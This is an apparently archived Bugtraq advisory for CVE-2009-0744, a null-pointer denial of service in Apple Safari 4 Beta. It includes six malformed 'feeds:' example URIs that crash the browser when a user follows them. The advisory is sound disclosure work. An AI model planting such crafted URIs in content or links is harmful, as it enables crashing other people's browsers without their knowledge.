Apple Safari Malformed 'feeds:' URI Null Pointer Dereference Remote Denial Of Service Vulnerability

Bugtraq ID:	33909
Class:	Input Validation Error
CVE:	CVE-2009-0744
Remote:	Yes
Local:	No
Published:	Feb 25 2009 12:00AM
Updated:	Apr 13 2015 09:11PM
Credit:	Trancer
Vulnerable:	Apple Safari 4 Beta
Not Vulnerable:

Apple Safari Malformed 'feeds:' URI Null Pointer Dereference Remote Denial Of Service Vulnerability

Apple Safari is prone to a denial-of-service vulnerability that stems from a NULL-pointer dereference.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Apple Safari 4 Beta is vulnerable; other versions may also be affected.

Apple Safari Malformed 'feeds:' URI Null Pointer Dereference Remote Denial Of Service Vulnerability

To exploit this issue, an attacker must entice an unsuspecting user to follow a malicious URI.

The following example URIs are available:

feeds:%&www.example.com/feed/
feeds:{&www.example.com/feed/
feeds:}&www.example.com/feed/
feeds:^&www.example.com/feed/
feeds:`&www.example.com/feed/
feeds:|&www.example.com/feed/

Apple Safari Malformed 'feeds:' URI Null Pointer Dereference Remote Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Apple Safari Malformed 'feeds:' URI Null Pointer Dereference Remote Denial Of Service Vulnerability

References:

• Safari Homepage (Apple)
  
• Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of Service Vulner (Trancer )